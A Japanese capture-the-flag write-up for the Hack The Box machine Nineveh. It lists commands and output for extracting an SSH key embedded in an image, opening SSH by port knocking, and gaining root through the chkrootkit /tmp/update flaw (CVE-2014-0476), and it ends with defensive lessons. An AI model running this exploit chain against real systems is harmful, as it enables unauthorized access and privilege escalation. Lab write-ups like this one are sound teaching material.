Hack The BoxのWriteup(Nineveh)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Nineveh — 全実行コマンド・実行結果レポート
Nmap全ポート
80/443のみ (22はknockdで隠蔽)
/secure_notes/ 画像発見
steg付きPNG
SSH秘密鍵抽出
strings + Range取得
ポートノック
hping3: 571→290→911
SSHログイン(amrois)
user.txt ✓
chkrootkit /tmp/update
CVE-2014-0476
root cron発火待ち
root.txt ✓

ポートスキャン(主要ポート → 全ポート)

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,... -T4 --max-retries 3 10.129.58.80
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.80
RESULT
PORT     STATE  SERVICE
80/tcp   open   http    Apache httpd 2.4.18 (Ubuntu)
443/tcp  open   https   Apache httpd 2.4.18 (Ubuntu) / ssl-cert CN=nineveh.htb
(全ポートスキャンでも 80/443 以外は検出されず)
ℹ️
22番(SSH)はポートスキャンには一切現れない。これは knockd による ポートノック防御が効いており、正しいノック配列を送るまでファイアウォールが SSHへの接続そのものを遮断しているため(後のフェーズで詳述)。

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.58.80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t 20
gobuster dir -k -u https://10.129.58.80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
RESULT
HTTP  (80) : /info.php (200), /department (301), /server-status (403)
HTTPS (443): /db (301), /secure_notes (301), /server-status (403)
ℹ️
/db は phpLiteAdmin(SQLiteのWeb管理画面)、/department はログインフォーム、 /info.php は phpinfo() ページ。これらは www-data 権限のRCEへの経路として 既知だが(phpLiteAdminの.php拡張子DB作成トリックや、departmentのLFI+ログイン タイプジャグリングバイパスとの連鎖)、本レポートで辿るuser.txt取得の最短経路には 不要なため詳細は割愛し、実際にフラグ取得に使った /secure_notes 経路のみを記載する。
PHASE 2

/secure_notes/ 画像からのSSH秘密鍵抽出

/secure_notes/ の中身を確認

BASH
curl -sk "https://10.129.58.80/secure_notes/"
RESULT
<html>
<body>
<center><img src=nineveh.png /></center>
</body>
</html>
⚠️
ハマりどころ: このディレクトリには index.html が置かれているため、 Apacheは自動ディレクトリ一覧(autoindex)ではなくこのindex.htmlを返す。 「href="*.png"等をパースして画像を見つける」というアプローチは機能しない。 ページ内の<img src=...>タグ、または既知のファイル名(この場合 nineveh.png)を直接推測してリクエストする必要がある。

トラブルシューティング: 低速回線でのフルダウンロードは非現実的

BASH
curl -sk -I "https://10.129.58.80/secure_notes/nineveh.png"
RESULT
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2891984   (約2.9MB)
Content-Type: image/png
BASH
curl -sk -o nineveh.png -w "speed=%{speed_download}\n" --max-time 120 \
  "https://10.129.58.80/secure_notes/nineveh.png"
RESULT
speed=6960 (バイト/秒 ≒ 約7KB/s)
120秒のタイムアウトでも 835584 / 2891984 バイト (29%) しか取得できず
🚨
根本原因: このVPN経由の回線は帯域が非常に低く(実測約4〜7KB/s)、 2.9MBのファイルを逐次ダウンロードすると理論上7分以上かかる。 素朴に curl -o するアプローチは非現実的。
BASH
# 対策: HTTP Range リクエストでファイル末尾のみを取得する。
# steg(バイナリ埋め込み)データは通常ファイル末尾付近に追加されるため、
# 全体の1/10程度のサイズで十分カバーできる。
curl -sk --max-time 80 -H "Range: bytes=2691984-2891983" \
  -o nineveh_tail.bin "https://10.129.58.80/secure_notes/nineveh.png"
RESULT
200000 バイトを約38秒で取得完了(フルダウンロードの1/10以下の時間)
対策成功。 Accept-Ranges: bytes が有効なことをHEADで確認した上で、 ファイル末尾200KB分だけをRangeリクエストで取得する方式に変更。低速回線でも 1分未満で鍵データに到達できる。

strings による秘密鍵抽出

BASH
strings -n 20 nineveh_tail.bin | grep -A30 "BEGIN RSA"
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
...(28行)...
-----END RSA PRIVATE KEY-----
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... amrois@nineveh.htb
完全なRSA秘密鍵が抽出できた。付随する公開鍵のコメント欄から ユーザー名 amrois も判明する。
BASH
chmod 600 amrois_id_rsa
PHASE 3

ポートノックによるSSH開放 & user.txt

knockd設定の把握

NOTE
# www-dataシェル(phpLiteAdmin+LFI等の別経路で取得可能)から /etc/knockd.conf を読むと:
[openSSH]
sequence      = 571,290,911
seq_timeout   = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags      = syn

[closeSSH]
sequence      = 911,290,571
seq_timeout   = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags      = syn
ℹ️
571 → 290 → 911 の順にSYNパケットを5秒以内に送ると、 自分のIPからの22番ポートへのアクセスがiptablesで許可される (逆順に送ると閉じる)。一度開くと明示的に閉じない限り持続する。

トラブルシューティング: nmapでのノックは高レイテンシ回線で5秒枠を超える

BASH
# 素朴な方法(多くの解説記事で紹介されている)
time nmap -Pn --host-timeout 201 --max-retries 0 -p 571 10.129.58.80
RESULT
571/tcp filtered umeter
3.02 秒 (1ポートあたり)
🚨
根本原因: nmapは応答の無いポートに対し、スキャン結果を確定するまで RTTベースのタイムアウトを待つため、1ポートあたり約2〜3秒かかる。 3ポート合計で約9秒となり、knockdの seq_timeout=5秒 を 超えてしまい、ノックシーケンスが不成立になる(実際に1回目の試行はこれで失敗した)。 VPN経由で片道約250msの高レイテンシ環境ではこの問題が顕在化しやすい。
BASH
# 対策: hping3 で応答を待たずSYN1発だけ送る (-c 1)
time (for p in 571 290 911; do hping3 -S -p $p -c 1 10.129.58.80 >/dev/null 2>&1; done)
RESULT
3.27 秒(3ポート合計)— 5秒枠に余裕を持って収まる
hping3 -S -p <port> -c 1 は応答を待たずSYNを1発送信して即終了するため、 nmapよりも大幅に高速・安定する。この方式に切り替えて確実にノックシーケンスを 5秒以内に収める。

ポートノック実行 & SSHログイン

BASH
for p in 571 290 911; do
  hping3 -S -p $p -c 1 10.129.58.80 >/dev/null 2>&1
done
ssh -i amrois_id_rsa amrois@10.129.58.80
RESULT
Ubuntu 16.04.2 LTS
...
amrois@nineveh:~$
SSHログイン成功。 ノックシーケンスが5秒以内に届いたことで iptablesルールが追加され、22番ポートへの接続が許可された。

user.txt 取得

BASH
amrois@nineveh:~$ cat user.txt
RESULT
05116034f118fe5edfb7caec899260a6
user.txt — amrois
05116034f118fe5edfb7caec899260a6
PHASE 4

権限昇格の下調べ — chkrootkitの既知の欠陥

定期実行プロセスの調査

BASH
amrois@nineveh:~$ ls -la /report/
amrois@nineveh:~$ cat /report/report-*.txt | tail -50
RESULT
ROOTDIR is `/'
Checking `amd'... not found
...
Searching for suspect PHP files...
/var/tmp/0xdf.php  ← 過去にアップロードされたwebshellまで検知されている
...
ℹ️
/report/ ディレクトリに定期生成されるレポートから、 root権限で chkrootkit が定期実行(cron)されていることが判明する。

chkrootkitの既知の脆弱性 (CVE-2014-0476 / exploit-db 33899)

NOTE
chkrootkit 0.49 には、Slapperワーム検知ロジックのバグに起因する
ローカル権限昇格の脆弱性がある。以下のシェルスクリプトの引用符抜けが原因:

for i in ${SLAPPER_FILES}; do
    if [ -f ${i} ]; then
        file_port=$file_port $i    # 本来は "$file_port $i" とすべきところ
        STATUS=1                    # クォート抜けにより bash が $i を
    fi                               # コマンドとして実行してしまう
done

SLAPPER_FILES には /tmp/update も含まれており、このパスに実行可能な
ファイルを置いておくと、chkrootkit実行時(root権限のcron)に
そのまま実行されてしまう。
PHASE 5

chkrootkitエクスプロイト実行 → root.txt

/tmp/update へのペイロード設置

BASH
amrois@nineveh:~$ printf '#!/bin/sh\ncat /root/root.txt > /home/amrois/root.txt\n' > /tmp/update
amrois@nineveh:~$ chmod +x /tmp/update
ℹ️
リバースシェルを取るのではなく、/root/root.txt を 自分の書き込み可能なホームディレクトリへcatでコピーするだけの シンプルなペイロードにすることで、非対話的にフラグを回収できる。

root cron発火待ち & root.txt取得

BASH
# chkrootkitの実行間隔は環境依存のため、数十秒〜数分間隔でポーリングする
while true; do
  ssh -i amrois_id_rsa amrois@10.129.58.80 "cat /home/amrois/root.txt 2>/dev/null" && break
  sleep 10
done
RESULT
79087ca4754c409943ea5c53a6554bcd
root.txt — root
79087ca4754c409943ea5c53a6554bcd
権限昇格成功。 root権限のcronがchkrootkitを実行した際、 /tmp/updateがクォート抜けバグ経由でそのまま実行され、 root.txtが amrois の書き込み可能なホームへコピーされた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — amrois
05116034f118fe5edfb7caec899260a6
root.txt — root
79087ca4754c409943ea5c53a6554bcd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
画像への秘密鍵埋め込み(ステガノグラフィ) /secure_notes/nineveh.png SSH秘密鍵の漏洩 High 認証・RCE不要でHTTP直接取得可能な画像に、strings抽出可能な平文PEM鍵が付加されていた
ポートノック設定の既知性 knockd (SSH隠蔽) ファイアウォール回避 Medium 571→290→911の順にSYNを5秒以内に送ることでSSHへのアクセスが許可される
chkrootkit ローカル権限昇格 (CVE-2014-0476) chkrootkit 0.49 (root cron) root権限奪取 Critical /tmp/updateに実行可能ファイルを置くとSlapper検知ロジックのバグでroot権限で実行される

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + gobuster80/443のみ開放、/secure_notes・/db・/department発見
2鍵抽出Range取得 + stringsamrois用SSH秘密鍵、ユーザー名amrois
3SSH開放hping3ポートノック (571→290→911)user.txt 取得
4権限調査/report配下のchkrootkitログ確認root権限cronでのchkrootkit定期実行を確認
5権限昇格chkrootkit /tmp/update (CVE-2014-0476)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
認証不要でアクセス可能な画像ファイルにSSH秘密鍵を埋め込んでいる 秘密鍵をWeb公開領域に置かない。ステガノグラフィは秘匿手段として不十分であり、鍵管理には専用のシークレット管理システムを使う。
ポートノックのみでSSHアクセス制御をしている(多層防御の一部としては良いが単独では不十分) ポートノックは補助的な難読化であり、強固な鍵認証・多要素認証・IP制限と併用する。
古いバージョンのchkrootkit(0.49)を使用しており既知のローカル権限昇格が存在 セキュリティツール自体も定期的にアップデートする。/tmp配下の書き込み可能領域からの 意図しないファイル実行を防ぐため、noexecマウントオプションの活用を検討する。
HackTheBox: Nineveh | 完全攻略レポート